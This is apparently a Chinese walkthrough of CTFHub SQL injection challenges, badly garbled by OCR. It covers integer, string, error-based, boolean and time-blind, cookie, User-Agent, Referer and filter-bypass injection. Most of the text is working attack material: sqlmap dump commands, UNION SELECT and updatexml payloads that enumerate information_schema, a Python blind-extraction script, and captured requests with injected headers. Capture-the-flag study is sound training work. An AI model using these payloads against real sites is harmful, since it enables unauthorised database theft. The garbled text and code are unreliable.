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75— sqlmapi: A

I HA S sqlmap, BE#1:

<1>.sqlmap’® L4 il H 5 EE B

python sglmap.py -u current-db

[16:29:30] [INFO] fetching current database

current database:

Fisqlmap#® it 4 :sql
<2>.sqlmap. 3 i & & $ 4 FE T B R 4

python sqlmap.py -u D sqli tables

[16:30:07] [INFO] retrieved:
[16:30:08] [INFO] retrieved:
Database: sqli

[2 tables]

flag

news

Fisqlmap’® H & 4 flag,news

LN
<3>.sqimap %l i & & R & W T E 5 4

python sqglmap.py -u D sqli -T flag colum

: flag
[1 column]

Column Type

flag varchar(100)

Hsqimap/& it 54 : flag
<4>.sqlmap FT EP% 3R 44 18 2 51 44 7 B B 208

python sqlmap.py -u D sqgli T flag -C flag
dump

ZFflag:



Database: sqli
Table: flag
[1 entry]

flag

ctfhub{c738d407d82740b4fa840800}

FHEZFLTEA
<1>.f# Forder by n i&H) & ) 7 B3

from news where id=1 order by 2

ctthub

<2>.f# FunionB & & g5 BB BB

from news where id=id=-1 union select 1,2

<3> IR A H4E
id=-1 union select 1,database()

from news where id=id=-1 union select 1,database()

from news where id=-1 union select 1,group_concat(table name)from information_schema.tables where table)

from news where id=-1 union select 1,group_concat(column_name) from information_schema.columns where ta
table_name

<6> ZREN i E B B R MBI A B
1 union select 1,group _concat(flag) from sqli.flag




1 union select from news where id=-1 union select 1,group_concat(flag) from sqli.flag

: ctfhub{9e78719b91362a4058891f1f}

2. FFFRIEAN
BB RSB U B BALA BT AR AR T A S SRR T BRI O SR FE 4
77 ¥ —:sqglmapiE A

B [BEAEN] B [FEE—:sqlmapiEAN] 22 FH
ZZflag:

FEZFLEA
<1>.f# forder by n i&A) &) Z B8

1' order by 2

from news where id order by 2

: ctfhub

<2> ff F unionik & & W IS B B B A7 B

1' union select 1,2

from news where id union select 1,2

<3> FREN = A ¥ 4

1' union select 1,database()

from news where id union select 1,database()

: sqli

<4> FE B FEsqliR 4

select from news where id union select 1,group _concat(table name)from information_schema.tables where tab
le schema

ID: 1

Data: news,flag

<5> K Eflag ¥l fr 7 B4

1 sqli
flag'




select from news where id union select 1,group_concat(column_name) from information_schema.columns where

table schema table name

union select 1,group_concat(flag) from sqli.flag

ctfthub{d377c961dd1502e2343960ef}

SIREIEAN
77— :sqlmapiE A\
[F [ N] B [J53—:sqlmapiE\] 24+ [F

python sqglmap.py -u D sqgli T flag -C fla

sqli
: flag
[1 entry]

flag

ctfhub{74209b1882367b22ea960956}

FEZFTHEAN
<1> 1 24850450 0508

1 union select updatexml(1l, concat(®x7e, database(),0x7e),1)

select from news where id=1 union select updatexml(l, concat(@x7e, database(),0x7e),1)
B4R : XPATH syntax error:

<2> BHBEERS:

1 union select updatexml(1l, concat(@x7e,( select( group_concat( table_name))from information_schema.tables wher
e table schema ),0x7e),1)

select from news where id=-1 union select updatexml(l, concat(@x7e,( select( group_concat( table name))from in
formation_schema.tables where table_schema ),0x7e),1)
4R : XPATH syntax error:

<3>FREUR M 7B

where table_schema table_name
1 union select updatexml(1l, concat(@x7e,( select( group_concat(column_name))from information_schema.columns whe|

re table_schema table_name ),0x7e),1)




select from news where id=-1 union select updatexml(1, concat(@x7e,( select( group_concat(column_name))from in

formation_schema.columns where table_schema table _name ),0x7e),1)

45 iR : XPATH syntax error:

<4> ZREXF5 7€ O FE IR I 51 O 9 2 (15 Eliflag):

1 union select updatexml(1l, concat(®x7e,( select( group_concat(flag)) from sqli.flag),0x7e),1)

select from news where id=-1 union select updatexml(l, concat(@x7e,( select( group_concat(flag)) from sqli.fla
g),0x7e),1)
2 ifj4hiR: XPATH syntax error:

<5>.jnk } 18 2lflag:

476 /R B IE
77— sqlmapiE A\
B [BEAEN] B [5EE—:sqlmapiEA] 24 FH

python sqglmap.py -u D sqli T flag -C flag

[20:02:24] [ERROR] invalid character detected. retrying..
[20:02:24] [WARNING] increasing time delay to 2 seconds
hub{aa7bab6bodd1a301df6a345d}

Database: sqli

Table: flag

[1 entry]

flag

ctfhub{aa7bab6b@dd1a301df6a345d}

Fk AT

W

\

%

o pythonii s 4T, 3% — T payload st 7] A T

class InjeSql( ):
def _init_ (self, url, payload length, payload Data, name, conditions, name_length, max_len=12):
self.url url
self.payload_length payload_length
self.payload Data payload Data

self.max_len max_len

self.conditions conditions
self.name name
self.name_length name_length



https://blog.csdn.net/weixin_40709439/article/details/81355856?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522161579441316780255244414%252522%25252C%252522scm%252522%25253A%25252220140713.130102334..%252522%25257D&request_id=161579441316780255244414&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-81355856.first_rank_v2_pc_rank_v29&utm_term=%25E5%25B8%2583%25E5%25B0%2594%25E7%259B%25B2%25E6%25B3%25A8

def getlLength(self):
for i in (1, self.max_len):
payload self.payload length i
r requests.get(self.url payload

if self.conditions in r.text:
self.name_leng i
print(self.name , 1)

break

def getData(self):

name

for j in (1, self.name_length 1):

for i in
url self.url self.payload Data (3, 1)
r requests.get(url )
if in r.text:
name name i
print(name)
break

print(self.name name)

if _ _name__

url

payloads_length

]
payloads_Data

]

conditions
conditions2
name_length 32




injesql InjeSql(url=url, payload length=payloads length[@], payload Data=payloads Data[4], name=names[3],
name_length=name_length, conditions=conditions)

injesql.getData()

ctfhub{594f87fe

ctfhub{594f87fec
ctfhub{594f87fec9
ctfhub{594f87fec92
ctfhub{594f87fec927
ctfhub{594f87fec927a
ctfhub{594f87fec927ab
ctfhub{594f87fec927ab7
ctfhub{594f87fec927ab77
ctfhub{594f87fec927ab77c
ctfhub{594f87fec927ab77c4
ctfhub{594f87fec927ab77c4a
ctfhub{594f87fec927ab77c4a6
ctfhub{594f87fec927ab77c4a62
ctfhub{594f87fec927ab77c4a62b
ctfhub{594f87fec927ab77c4a62b3
ctfhub{594f87fec927ab77c4a62b3e
ctfthub{594187fec927ab77c4a62b3e}
FB 4 ctfhub{594f87fec927ab77c4a62b3e}

Process finished with exit code ©

o WAXAMAM T AbE M 56 HsqimapisqliE A Bl L.

o Sk
CTFHub-web(sqIfi /R B 1E)

5.0} 8 B ¥

75— :sqimapiE A

[ [BEHREN] 8 [T —:sqlmapiEA] 5844



https://blog.csdn.net/weixin_45254208/article/details/107505114?ops_request_misc=&request_id=&biz_id=102&utm_term=Ctfhub%25E8%25A7%25A3%25E9%25A2%2598%20SQL%20%25E5%25B8%2583%25E5%25B0%2594%25E6%25B3%25A8%25E5%2585%25A5&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-107505114.first_rank_v2_pc_rank_v29

python sqlmap.py -u D sqli T flag -C flag

[13:12:21] [WARNING] increasing time delay to 4 seconds
1356e492b00ab5al123f0d}

Database: sqli

Table: flag

[1 entry]

flag

ctfthub{7d81356e492b00ab5a123f0d}

6.MySQL%: #
77— :sqlmapiE A
il [REHRAEN] B [k —sqlmapiE N] EA e &M F, R L M F B4 52
python sqlmap.py -u D sqli T zxsnejfyfz
C yizrnrueyh
[15:36:31] [INFO] fetching entries of column(s) for table database
Database: sqli
Table: zxsnejfyfz
[1 entry]

yizrnrueyh

ctfhub{08f40378c81640a69631d792}

HEZFILHEAN

1. WA=, KRIAEPMEAR

2. WIEXHMEANR

1 union select 1,2

from news where id=-1 union select 1,2

3. BAEIBIEELK sqli

1 union select database(),1



from news where id=-1 union select database(),1

4. BEBIREF IR LR news , zxsnejfyfz

3

1 union select 1,group_concat(table name) from information_schema.tables where table schema

from news where id=-1 union select 1,group_concat(table name) from information_schema.tables where tabl

from news where id=-1 union select 1,group_concat(column_name) from information_schema.columns where ta

from news where id=-1 union select 1,group_concat(yizrnrueyh) from zxsnejfyfz

ctfhub{08f40378c81640a69631d792}

7.Cookiel:x A\

o friECookielE N H AR VENTECookie

¥ —:sqlmapiE A\

1. sqimap%& X /I $E E G B

python sqlmap.py -u --cookie --current-db

current database:

o Hsqlmapi% i FE 4 :sqi

2. sqlmap. 7l i $i& 2 $3E FE BT B R 4

python sqlmap.py -u



[20:22:43] [WARNING] reflective value(s) found filtering out
[20:22:44] [INFO] retrieved:

[20:22:45] [INFO] retrieved:

Database: sqli

[2 tables]

iamtbshgib

news

e Hsqlmap/% i 3 4 iamtbshgib,news

3. sqlmap % #EER A KA I 4

python sqlmap.py -u

Database: sqli
Table: iamtbshgib
[1 column]

Column Type

oovatvbvcs varchar(100)

4. sqimap FTENHIHH R4 18 €5 4 F B ESE (53flag)

python sqlmap.py -u

Database: sqli
Table: iamtbshgib
[1 entry]

oovatvbvcs

ctfhub{24f3fd0468cb90af950a103a}

FHE_FITHEAN
1. FIBTTEN A

id=-1 union select 1,2



ok

Raw | Params | Headers | Hex

Raw | Headers | Hex

n Actions

Pretty

1 GET / HTTP/1.1

2 Host: challenge-5fec21f4fc7778a7. sandbox. ctfhub. com: 10080

3 CGache—Control: max—age=0

4 Upgrade—Insecure—Requests: 1

5 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/B5.0.4183.121
Safari/537. 36

&6 Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif

. image/webp, image/apng, *¥/*;9=0. 8, application/signed—exchange;v=b

3;9=0.9

Accept—Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Cookie: id=-1 union select 1,2| hint=

i d%EB8%BE%93%E5%B85%A51%E8%AF %95%E8%AF %95%EF %BCHIF

10 Gonnection: close

11

12

o 0~

2. BAMBIEERR

T

Pretty JEi

Render Actions

- »,
Cookie;EN
BURATAREE 7. EiikHiCookield
id=-1

D=1
Data: 2

salect * from news where union select 1,2

Raw | Params | Headers | Hex

Raw | Headers | Hex

Actions ¥

Pretty n

GET / HTTP/1.1

Host: challenge—5fec21f4fc7778a7. sandbox. ctfhub. com: 10080
Cache—Control: max—age=0

Upgrade—Insecure—Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé64)
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/85.0.4183.121
Safari/537. 36

6 Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif
, image/webp, image/apng, */%¥;9=0. 8, app|ication/signed-exchange;v=b
3;9=0.9

Accept—Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Cookie: id=—1 union select database(), 1] hint=

i d%E8%BE%93%ES5%B5%A51%E8%AF %95%EB%AF%IS%HEF %BCHIF

10 Connection: close

11

[ N R

0 0~

3. FH$e ¥R E T A 3R 4 fayeenrutk, news

1,group_concat(table_name

T

Pretty JR%R n

information_schema

Actions ¥

R
CookiejEN
PORBURIAGEE T, SiRiEHCookiell
select * from news where id=-1 union

1D: sqlli
Data: 1

table_schema

Raw | Params | Headers | Hex

Raw | Headers | Hex

Pretty n

1 GET / HTTP/1.1

2 Host: challenge—5fec21f4fc7778a7. sandbox. ctfhub. com: 10080
3 Cache-Control: max—age=0
4
5

Actions

Upgrade—Insecure—Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4)
AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/85.0.4183.121
Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml|;q=0.9, image/avif
, image/webp, image/apng, */*;q=0. 8, appl ication/signed-exchange;v=b
3:9=0.9

o

7 Accept—Encoding: gzip, deflate
8 Accept—Language: zh—CN, zh;q=0.9
9 Cookie: id=—1 union select 1, group_concat (table_name) from

information_schema. tables where table_schema='sqli‘;|hint=
i d%E8%BE%93%ES%B5%A51%EB%AF %95%E8%AF %95%EF %BCHIF

10 Connection: close

1M

12

T

Pretty [BiH

Render n Actions
A
- .,
CookiejE N\
REFMARET, ShifkikCookield
select * from news where id=-1 union select
1,group_concat(table_name) from information schema.tables
where table schema="sgli”
1D: 1

Data: fayeenrutk, news
e




4. IR ERABFTAES 4

1 union select 1,group _concat(column_name) from information_schema.columns where table name

br>ID: 1</br>Data: pvrlsevgkk

5 B NFERIME, 153fag:

1 union select 1,group_concat(pvrlsevgkk) from fayeenrutk

EiE B <|v B #%: http:/ichallenge-5fec21f4fcT778al sandbox.ctfhub.com:10080 f@
R IR l:l ==
Raw | Params | Headers | Hex Raw | Headers | Hex
Pretty iG] \n Actions Pretty JEin BRCLUEH Actions v
1 GET / HTTP/1.1 k] A
2 Host: challenge-5fec21f4fc7778a7. sandbox. ctfhub. com: 10080
3 Cache—Control: max—age=0
4 Upgrade—Insecure—Requests: 1 .
5 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) Coo kle*I)\
AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/85.0.4183. 121 !
Safari/537.36 BORRIEN T, SERECookicl
6 Accept:
text/html, application/xhtml+xml, application/xml;qg=0.9, image/avif select * from news where id=-1 union select
i i * /% q=| i i i - =
,almige;’webp, image/apng, ¥/%,;0=0. 8, app| ication/signed-exchange;v=b A eI ETE SIS TreD T
=y
7 Accept—Encoding: gzip, deflate U2
Accept-Language: zh—CN, zh;q=0.9 Data: ctfhub{c20eebdfbd5751a76e4b8e3b}

e

0

Cookie: id==1 union select 1, group_concat (pvrlsevekk) from
fayeenrutkt hint=

1 d%EB%BE%93%ES%85%A51%EB%AF%I5%UEB%AF %I 5%EF %BC%IF

10 Connection: close

br>ID: 1</br>Data: ctfhub{c20ee6dfbd5751a76e4b8e3b}

8.UAEA

challenge-35¢71d667fode828.sandbox.ctfhub.com

e B cson B rmEm B orEE @ mssenms .

UAEA
i\ SfEUser-Agent, e

select * from news where id=Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141

Safari/537.36

FEFLEAN

1. ABEANR

User-Agent: -1 union select 1,2

code>select from news where id=-1 union select 1,2</code br>ID: 1</br>Data: 2




User-Agent:-1 union select database(),1

code>select from news where id=-1 union select database(),1</code br>ID: sqli</br>Data: 1

3. FI i $e s B A 3R % kpbcjivbfe, news

User-Agent:-1 union select 1,group_concat(table name) from information_schema.tables where table_schema

br>ID: 1</br>Data: kpbcjivbfe,news

4. FIHIRERABIFTAES 4

User-Agent:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name

br>ID: 1</br>Data: amwoovogxz

5. EWNMNTFBKE, BFEfag:

User-Agent:-1 union select 1,group_concat(amwoovogxz) from kpbcjivbfe

L L

EIR EH < v >|v El#%: http:fichallenge-35c71d667f6de828.sandbox.ctfhub.com:10080 f(?:
- a- -
R
Raw | Headers | Hex Raw | Headers | Hex

\n Actions Pretty [l BEGLLEY Actions v

1 GET / HTTP/1.1

2 Host: chal lenge—35¢71d667f6de828. sandbox. ctfhub. com: 10080
3 Cache-Control: max—age=0

4 Upgrade—Insecure—Requests: 1

-,
5 User—Agent:-1 union select 1, group_concat (amwoovogxz) from UA‘I)\
] l -

¥
Twl

kpbc JTVBTE] =
6 Aegepe— 1) SHEUser-Agent, IR
text/html, application/xhtml+xml|, application/xml;q=0.9, image/avif
, image/webp, image/apng, ¥/%¥;9=0. 8, app| ication/signed—exchange;v=b select * from news where id—-1 union se
3:0=0.9 X . 1,group_concat{amwoovogxz) from kpbcjivbfe
7 Accept—Encoding: gzip, deflate - ) :
8 Accept-Language: zh-CN, zh;q=0.9 ID: 1
9 Connection: close Data: ctfhub{55c2a9bc9edS54e809154¢eed0}
10 - —

1"

br>ID: 1</br>Data: ctfhub{55c2a9bc9ed54e809154eed0}
9.Referi: A
77— :sqlmapiE A

o HITHH AR L

python sqlmap.py -u --level 5 -p referer -D sqli

-T gpwgsdpgwl -C nfibqgdpovy --dump
o 13Zflag(FHRT A1 B, A EIN)



HEZFILEAN
e FlfPostman

w5 B ArefererzB,, WinreferersB, BHTIEAN

GET v http://challenge-817afd01550c6ba1l.sandbox.ctthub.com: 10080/ “ Save ¥

KEY VALUE DESCRIPTION LLL]

¥4 referer 1
.
_-'-'!—4

Body 11) Status: 200 OK  Time: 206 ms Size: 722 B

Preview i

Referyi A\

1 {Erefererffii AID
selsct * from news wheare id=1

ID: L
Data: ctthub

HIBEN R

1 union select 1,2

from news where id=-1 union select 1,2

2. HHTHEREERR

1 union select database(),1

from news where id=-1 union select database(),1

from news where id=-1 union select 1,group_concat(table name) from information_schema.tables where tabl

BRFEL news,gpwgsdpgul
4. FIHTEERLWIFTEF4

1 union select 1,group_concat(column_name) from information_schema.columns where table name



from news where id=-1 union select 1,group_concat(column_name) from information_schema.columns where ta

B354 nfibqdpovy

5. EWXMNINLKE, B5Eflag:

1 union select 1,group_concat(nfibqdpovy) from gpwgsdpqwl

GET v http://challenge-817afd01550c6bal.sandbox.ctthub.com: 10080/ “ Save -~

TiCaUcis (I - _UURICS  LOUT

KEY VALUE DESCRIPTION b Bu

referer -1 union select 1,group_concat(nfibgdpovy) from gpwgs...

&
[u1]

Sody (11) Status: 200 OK  Time: 236 ms  Size: 78 Download

Preview w

ReferyE A\

it fErefererfii AID

select * from news where id=-1 union select 1,group_concat (nfibgdpovy) from gpwgsdpgwl
ID: 1
Data: ctthub {cbfee74b7cd6a71feeb9aaes)

from news where id=-1 union select 1,group_concat(nfibgdpovy) from gpwgsdpqwl

ctfhub{cbfee74b7cd6a71feeb9aae5}

10.33 38 == #%
FHiEFLEAN

o FHEGRIIA#R T — N RIAAT, H//ATEL

R 7*% ) REBZEHEBIAT

1. ABEANR

1 union select 1,2

Data: 2

2. HETEHEEER

1 union select database(),1



ID: sqgli
Data: 1

3. B i ¥5 R B P A IR 4

union select 1,group_concat(table name) from information_schema.tables where table_schenm

ID: 1
Data: xktnrbprqv,news

BEIFRA xktnrbprqv,newsl

4. FIHIRERLZBITAES 4

union select 1,group_concat(column_name) from information_schema.columns where table_nam

ID: 1
Data: zixftcmntu

B354 zixftemntu

5. EWNMINLKE, [Eflag:

union select 1,group_concat(zixftcmntu) from xktnrbprqv

challenge-bf1a8aaZa/actb8d.sandbox.ctthub.com

b7tz B cson B meE B orEE @ RsgeREE —.

LS [N N~
Jﬂé/\iﬂ
1__lfﬁ\:I:*iJ
ID 1/**/union/‘*/select/“ﬂ,group_concat(zixftcmntu)/**/from/**/karbprqv{ ‘

1D: 1
Data: ctfhub{557830a13dcf2262eaad5c03}

ID: 1
Data: ctfhub{557830al3dcf2262eaad5c03}

O

o
any

¢t ¢ ¢ ¢ ¢ ¢
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